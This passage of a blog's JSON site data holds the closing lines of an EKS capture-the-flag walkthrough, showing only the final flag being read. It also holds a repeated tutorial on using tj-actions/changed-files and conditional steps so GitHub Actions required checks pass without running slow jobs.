style=\"color:#96D0FF\"\u003e ./flag\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e flag\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e{w0w_y0u_really_are_4n_eks_and_aws\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e\u0026#x3C;*REDACTED*\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eand that is the final flag! In my next post I will discuss the remediation steps\nto prevent these configuration mistakes on your cluster!\u003c/p\u003e","category":"Kubernetes","date":"2023-11-02T00:00:00Z","tags":["Kubernetes","SRE","Security"],"title":"eksclustergames.com walk through!"}]},"git":{"count":1,"posts":[{"id":["2023","github_skip_required_checks"],"path":"2023/github_skip_required_checks","contentHtml":"\u003cp\u003eHaving every github action run on every pull request will end up slowing you\ndown and sometimes even discourage you from making changes. For example, if you\nsee an error in the \u003ccode\u003eREADME.md\u003c/code\u003e but you know you will have to wait for the entire\ntest suite to run you may choose not to push the change.\u003c/p\u003e\n\u003ch1\u003ePath Filtering\u003c/h1\u003e\n\u003cp\u003eTo address this problem, Github has a feature called \u003ca href=\"https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore\"\u003epath filtering\u003c/a\u003e\nwhich works really well! You can include and exclude paths with a simple syntax:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull_request\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e paths\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'*'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'*/**'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'!README.md'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'!.gitignore'\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWhich will run on any changes except for \u003ccode\u003eREADME.md\u003c/code\u003e and \u003ccode\u003e.gitignore\u003c/code\u003e. There is\neven a simpler format to this by using \u003ccode\u003epaths-ignore\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull_request\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e paths-ignore\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'README.md'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'.gitignore'\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eAlthough the path filtering feature of github works, I do not recommend using\nit because it has some critical issues that I will talk about below!\u003c/p\u003e\n\u003ch1\u003eBranch Protection / Required Checks\u003c/h1\u003e\n\u003cp\u003ePath Filtering has one major flaw which is that it skips the run of the job\ncompletely which means if you are using \u003ca href=\"https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches\"\u003ebranch protection\u003c/a\u003e\nyour PR will be stuck in \u003ccode\u003epending\u003c/code\u003e state.\u003c/p\u003e\n\u003cp\u003eTo resolve this we will have to run the job, but skip the actions inside it that\nare slow conditionally. There are a few opensource actions out there that make\nthis easy but the one I recommend is:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/tj-actions/changed-files\"\u003ehttps://github.com/tj-actions/changed-files\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eIt creates a lot of useful outputs you can use in your conditional out of the box\nwhich makes your action easy to write.\u003c/p\u003e\n\u003ch1\u003eSkipping a required check\u003c/h1\u003e\n\u003cp\u003eSo using \u003ccode\u003etj-actions/changed-files\u003c/code\u003e to skip a required check, it will look very\nsimilar to the path filtering from github. You first define what files you care\nabout:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e terraform-lint\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eCheck if files changed\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e id\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003echanged-files-yaml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003etj-actions/changed-files@v40\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e files_yaml\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e src:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e - '*'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e - '*/**'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e - '!README.md'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e - '!.gitignore'\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe \u003ccode\u003esrc\u003c/code\u003e is just a key selection I made here. You can have many groups of\nfiles like \u003ccode\u003etests\u003c/code\u003e, \u003ccode\u003edocs\u003c/code\u003e, etc. and conditionally do things if each of them\nchanged.\u003c/p\u003e\n\u003cp\u003eSo from our example, this step will generate output we can use \u003ccode\u003esteps.changed-files-yaml.outputs.src_any_changed\u003c/code\u003e\nthat is either \u003ccode\u003etrue\u003c/code\u003e or \u003ccode\u003efalse\u003c/code\u003e. To use this we can use the \u003ccode\u003eif\u003c/code\u003e conditional\nblock on our jobs.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esteps.changed-files-yaml.outputs.src_any_changed == 'true'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e run\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e earthly \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e +ci-terraform-lint \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e --TERRAFORM_VERSION=${{ env.RTX_TERRAFORM_VERSION }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will then skip linting if we did not change any terraform and the job will\nbe marked successful!\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/github_skip_required_checks/skipped_checks.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eThis can be confusing sometimes and the people you work with (or future you!)\nmay wonder why these critical checks are being skipped. I like to include\na message with the decision that was made so it is obvious that we wanted to skip\nthem:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esteps.changed-files-yaml.outputs.src_any_changed == 'false'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e run\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo \"No terraform files changed\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWhich will output:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e✅ \"No terraform files changed\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eRight next to the skipped job which is exactly what we wanted to see! So the end\nresult would look something like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull_request\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e terraform-lint\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eCheck if real files changed\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e id\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003echanged-files-yaml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003etj-actions/changed-files@v40\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e files_yaml\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e src:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e - '*'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e - '*/**'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e - '!README.md'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e - '!.gitignore'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esteps.changed-files-yaml.outputs.src_any_changed == 'true'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e run\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e earthly \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e +ci-terraform-lint \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e --TERRAFORM_VERSION=${{ env.RTX_TERRAFORM_VERSION }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esteps.changed-files-yaml.outputs.src_any_changed == 'false'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e run\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo \"No terraform files changed\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eConclusion\u003c/h1\u003e\n\u003cp\u003eHopefully with this you can start speeding up your github actions and making the\ndeveloper experience enjoyable!\u003c/p\u003e","category":"Development","date":"2023-10-29T00:00:00Z","tags":["git","github"],"title":"Speed up github actions with conditional jobs, even with required checks"}]},"github":{"count":1,"posts":[{"id":["2023","github_skip_required_checks"],"path":"2023/github_skip_required_checks","contentHtml":"\u003cp\u003eHaving every github action run on every pull request will end up slowing you\ndown and sometimes even discourage you from making changes. For example, if you\nsee an error in the \u003ccode\u003eREADME.md\u003c/code\u003e but you know you will have to wait for the entire\ntest suite to run you may choose not to push the change.\u003c/p\u003e\n\u003ch1\u003ePath Filtering\u003c/h1\u003e\n\u003cp\u003eTo address this problem, Github has a feature called \u003ca href=\"https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore\"\u003epath filtering\u003c/a\u003e\nwhich works really well! You can include and exclude paths with a simple syntax:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull_request\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e paths\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'*'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'*/**'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'!README.md'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'!.gitignore'\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWhich will run on any changes except for \u003ccode\u003eREADME.md\u003c/code\u003e and \u003ccode\u003e.gitignore\u003c/code\u003e. There is\neven a simpler format to this by using \u003ccode\u003epaths-ignore\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull_request\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e paths-ignore\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'README.md'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'.gitignore'\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eAlthough the path filtering feature of github works, I do not recommend using\nit because it has some critical issues that I will talk about below!\u003c/p\u003e\n\u003ch1\u003eBranch Protection / Required Checks\u003c/h1\u003e\n\u003cp\u003ePath Filtering has one major flaw which is that it skips the run of the job\ncompletely which means if you are using \u003ca href=\"https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches\"\u003ebranch protection\u003c/a\u003e\nyour PR will be stuck in \u003ccode\u003epending\u003c/code\u003e state.\u003c/p\u003e\n\u003cp\u003eTo resolve this we will have to run the job, but skip the actions inside it that\nare slow conditionally. There are a few opensource actions out there that make\nthis easy but the one I recommend is:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/tj-actions/changed-files\"\u003ehttps://github.com/tj-actions/changed-files\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eIt creates a lot of useful outputs you can use in your conditional out of the box\nwhich makes your action easy to write.\u003c/p\u003e\n\u003ch1\u003eSkipping a required check\u003c/h1\u003e\n\u003cp\u003eSo using \u003ccode\u003etj-actions/changed-files\u003c/code\u003e to skip a required check, it will look very\nsimilar to the path filtering from github. You first define what files you care\nabout:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e terraform-lint\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eCheck if files changed\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e id\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003echanged-files-yaml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003etj-actions/changed-files@v40\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e files_yaml\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e src:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e - 